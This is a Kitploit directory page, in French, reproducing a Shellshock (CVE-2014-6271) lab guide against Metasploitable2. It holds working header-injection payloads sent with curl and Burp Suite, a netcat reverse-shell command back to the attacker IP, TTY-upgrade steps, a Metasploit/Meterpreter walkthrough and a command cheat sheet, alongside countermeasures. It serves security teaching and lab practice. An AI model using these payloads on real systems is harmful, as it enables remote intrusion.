Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2014-6271-Shellshock- — Un laboratoire de démonstration moderne et complet pour CVE-2014-6271 (Shellshock), comprenant l'architecture, les étapes d'exploitation, l'utilisation de Burp Suite, les shells inversés, les contre-mesures et une antisèche complète de commandes. | Kitploit
Outils/GitHubGitHub/drhaitham/cve-2014-6271-shellshock-
Analyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebCTFTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRed Teaming
Développement de Charges Utiles
Labs et Pratique
GitHubdrhaitham/cve-2014-6271-shellshock-

CVE-2014-6271-Shellshock-

Un laboratoire de démonstration moderne et complet pour CVE-2014-6271 (Shellshock), comprenant l'architecture, les étapes d'exploitation, l'utilisation de Burp Suite, les shells inversés, les contre-mesures et une antisèche complète de commandes.

Voir le dépôt
4il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploitation de Shellshock (CVE-2014-6271) : Un laboratoire de démonstration moderne et complet

Shellshock (CVE-2014-6271) est l'une des vulnérabilités d'exécution de code à distance les plus influentes jamais découvertes. Cette faille affecte Bash et permet aux attaquants d'exécuter des commandes arbitraires en injectant simplement des payloads conçus dans des variables d'environnement.

Ce guide fournit une démonstration complète et reproductible utilisant :

  • Kali Linux (attaquant)
  • Metasploitable2 (cible)
  • curl, Burp Suite, Netcat
  • Un script CGI Bash créé manuellement

Il est conçu pour l'enseignement, la recherche, la formation et la sensibilisation générale à la cybersécurité.


📌 Table des matières

  1. Lab Architecture
  2. Creating the Vulnerable CGI Script
  3. Understanding the Shellshock Vulnerability
  4. Exploiting Shellshock with curl
  5. Exploiting Shellshock with Burp Suite
  6. Reverse Shell via Shellshock
  7. Upgrading to a Fully Interactive TTY
  8. Attack Chain Diagram
  9. Screenshot Gallery
  10. Countermeasures
  • Cheat Sheet (All Commands)
  • Exploiting Shellshock Using Metasploit
  • Conclusion

  • 1. Architecture du laboratoire

    ComposantRôleOSAdresse IPServices clés
    Kali LinuxAttaquantKali Linux (latest)192.168.1.4curl, Burp Suite, Netcat
    Metasploitable2Serveur cible vulnérableUbuntu Linux (MSF2)192.168.1.5Apache 2.2, CGI scripts, Bash
    Apache mod_cgiExécution de scriptsS'exécute sur MSF2n/aExpose Bash via CGI
    shellshock.shPoint d'entrée vulnérableBash CGIn/aAffiche les variables d'environnement

    Cette configuration simple à deux nœuds reflète de nombreux déploiements hérités encore présents dans les systèmes industriels et IoT.


    2. Création du script CGI vulnérable

    Sur Metasploitable2 :

    root@kitploit:~
    sudo su
    cd /usr/lib/cgi-bin/
    
    cat << 'EOF' > shellshock.sh
    #!/bin/bash
    echo "Content-type: text/html"
    echo
    echo "<pre>"
    env
    echo "</pre>"
    EOF
    
    chmod +x shellshock.sh
    a2enmod cgi
    service apache2 restart
    

    Testez le script depuis Kali :

    root@kitploit:~
    curl http://192.168.1.5/cgi-bin/shellshock.sh
    

    Vous devriez voir les variables d'environnement affichées.


    3. Compréhension de la vulnérabilité Shellshock

    Shellshock se produit lorsque Bash analyse incorrectement des variables d'environnement qui ressemblent à des définitions de fonctions.

    Une variable malveillante telle que :

    root@kitploit:~
    () { :; }; /bin/bash -c "id"
    

    amènera Bash à exécuter la commande après la définition de la fonction — même si la fonction elle-même n'est jamais invoquée.

    Les applications CGI sont particulièrement vulnérables car les en-têtes HTTP sont automatiquement transmis aux scripts en tant que variables d'environnement.


    4. Exploitation de Shellshock avec curl

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    La sortie devrait inclure :

    root@kitploit:~
    Vulnerable
    uid=33(www-data)
    

    Cela confirme l'exécution de code à distance.


    5. Exploitation de Shellshock avec Burp Suite

    5.1 Envoi d'une requête normale

    Visitez :

    root@kitploit:~
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Envoyez la requête au Repeater.

    5.2 Injection du payload Shellshock

    Remplacez l'en-tête User-Agent par :

    root@kitploit:~
    User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
    

    5.3 Réponse

    Vous devriez voir :

    root@kitploit:~
    BurpTest
    uid=33(www-data)
    

    Burp Suite confirme la vulnérabilité de manière visuelle et éducative.


    6. Shell inversé via Shellshock

    Démarrez le listener sur Kali :

    root@kitploit:~
    nc -lvnp 4444
    

    Déclenchez le shell inversé via le script CGI :

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Un shell se connectera en retour à Kali.


    7. Mise à niveau vers un TTY entièrement interactif

    À l'intérieur du shell inversé :

    root@kitploit:~
    python -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    

    Suspendre la session :

    root@kitploit:~
    Ctrl + Z
    

    Sur Kali :

    root@kitploit:~
    stty raw -echo; fg
    

    Appuyez sur Entrée.

    Vous avez désormais :

    • complétion par tabulation
    • touches fléchées
    • contrôle de tâches
    • Bash interactif complet

    8. Schéma de la chaîne d'attaque

    root@kitploit:~
              ┌────────────────────────┐
              │     Attacker (Kali)    │
              │      192.168.1.4       │
              └───────────┬────────────┘
                          │
         1. Malicious HTTP Header (Shellshock)
                          │
                          ▼
            ┌──────────────────────────┐
            │ Apache Web Server (CGI)  │
            │     192.168.1.5          │
            └───────────┬──────────────┘
                        │
       2. Header → CGI Environment Variable
                        │
                        ▼
          ┌──────────────────────────┐
          │     Bash (Vulnerable)    │
          └───────────┬──────────────┘
                      │
          3. Injected Command Executes
                      │
                      ▼
            ┌─────────────────────────┐
            │  www-data Shell Access  │
            └───────────┬─────────────┘
                        │
            4. Reverse Shell → Kali
                        │
                        ▼
          ┌──────────────────────────┐
          │ Full Interactive TTY     │
          └──────────────────────────┘
    

    9. Galerie de captures d'écran

    Une visite visuelle des étapes clés de l'attaque.

    DescriptionImage
    Scan Nmap + sortie du test Shellshock
    Burp Suite – Requête Shellshock initiale
    Burp Suite – Injection du payload / en-tête
    Shell inversé reçu sur Kali (nc)

    10. Contre-mesures

    ✔ 1. Mise à jour de Bash

    Mettez à jour vers une version qui gère correctement l'analyse des fonctions.

    ✔ 2. Désactiver CGI

    Le CGI hérité introduit un risque systémique inutile.

    ✔ 3. Nettoyer les en-têtes HTTP

    Supprimez les motifs suspects tels que :

    root@kitploit:~
    () { :; };
    

    ✔ 4. Utiliser le moindre privilège

    Restreignez les permissions de l'utilisateur du serveur web (www-data).

    ✔ 5. Restrictions des connexions sortantes

    Empêche les shells inversés et l'exfiltration de données.

    ✔ 6. Déployer un pare-feu d'application web (WAF)

    Les signatures WAF modernes détectent Shellshock immédiatement.

    ✔ 7. Activer SELinux / AppArmor

    Contient les processus Bash et bloque les comportements non intentionnels.

    ✔ 8. Effectuer des scans de vulnérabilité réguliers

    Utilisez des outils tels que :

    • Nessus
    • OpenVAS
    • Nikto
    • Nmap NSE (http-shellshock.nse)

    11. Aide-mémoire (Toutes les commandes)

    Configuration de la cible

    root@kitploit:~
    sudo su
    cd /usr/lib/cgi-bin/
    cat << 'EOF' > shellshock.sh
    #!/bin/bash
    echo "Content-type: text/html"
    echo
    echo "<pre>"
    env
    echo "</pre>"
    EOF
    chmod +x shellshock.sh
    a2enmod cgi
    service apache2 restart
    

    Test CGI

    root@kitploit:~
    curl http://192.168.1.5/cgi-bin/shellshock.sh
    

    Test Shellshock

    root@kitploit:~
    curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Shell inversé

    root@kitploit:~
    nc -lvnp 4444
    
    root@kitploit:~
    curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
    http://192.168.1.5/cgi-bin/shellshock.sh
    

    Mise à niveau vers un TTY complet

    À l'intérieur du shell :

    root@kitploit:~
    python -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    

    Suspendre :

    root@kitploit:~
    Ctrl + Z
    

    Sur Kali :

    root@kitploit:~
    stty raw -echo; fg
    

    Appuyez sur Entrée.


    12. Exploitation de Shellshock avec Metasploit (msfconsole)

    Metasploit offre un moyen professionnel et automatisé d'exploiter Shellshock en utilisant le module intégré :

    root@kitploit:~
    exploit/multi/http/apache_mod_cgi_bash_env_exec
    

    Cette méthode est rapide, fiable et offre un staging automatique de payload (par exemple, Meterpreter).


    12.1 Démarrer Metasploit

    root@kitploit:~
    msfconsole
    

    12.2 Rechercher des modules Shellshock

    root@kitploit:~
    search shellshock
    

    Vous devriez voir (entre autres) :

    root@kitploit:~
    exploit/multi/http/apache_mod_cgi_bash_env_exec  Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
    auxiliary/scanner/http/apache_mod_cgi_bash_env   Apache mod_cgi Bash Environment Variable Injection (Scanner)
    

    12.3 Charger le module d'exploit

    root@kitploit:~
    use exploit/multi/http/apache_mod_cgi_bash_env_exec
    

    12.4 Configurer les options requises

    Définir l'IP cible :

    root@kitploit:~
    set rhosts 192.168.1.5
    

    Définir le chemin CGI vulnérable :

    root@kitploit:~
    set targeturi /cgi-bin/shellshock.sh
    

    Définir votre IP Kali :

    root@kitploit:~
    set lhost 192.168.1.4
    

    Définir éventuellement le port d'écoute :

    root@kitploit:~
    set lport 4444
    

    Vérifiez :

    root@kitploit:~
    options
    

    Vous devriez voir :

    root@kitploit:~
    RHOSTS     192.168.1.5
    TARGETURI  /cgi-bin/shellshock.sh
    LHOST      192.168.1.4
    LPORT      4444
    METHOD     GET
    HEADER     User-Agent
    CVE        CVE-2014-6271
    

    12.5 Lancer l'exploit

    root@kitploit:~
    run
    

    En cas de succès :

    root@kitploit:~
    [*] Started reverse TCP handler on 192.168.1.4:4444
    [*] Command Stager progress - 100.00%
    [*] Sending stage ...
    [*] Meterpreter session 1 opened ...
    

    12.6 Interagir avec la session Meterpreter

    root@kitploit:~
    sessions -i 1
    

    Vous avez désormais :

    root@kitploit:~
    meterpreter >
    

    12.7 Générer un shell normal

    root@kitploit:~
    shell
    

    Puis :

    root@kitploit:~
    id
    hostname
    

    Résultat attendu :

    root@kitploit:~
    uid=33(www-data) gid=33(www-data)
    metasploitable
    

    Vous avez obtenu l'exécution de commandes à distance avec Metasploit et Shellshock.


    13. Conclusion

    Cette démonstration montre comment Shellshock peut être exploité en utilisant une simple manipulation d'en-têtes HTTP, des shells inversés, l'exécution de scripts CGI et l'automatisation Metasploit. Bien qu'âgé de plus d'une décennie, Shellshock reste une leçon importante en matière de :

    • pratiques logicielles sécurisées
    • sanitisation des entrées
    • risques des systèmes hérités
    • techniques de post-exploitation

    Fait avec beaucoup d'amour par :
    Haitham d'Oman ❤️🇴🇲

    Télécharger l’outil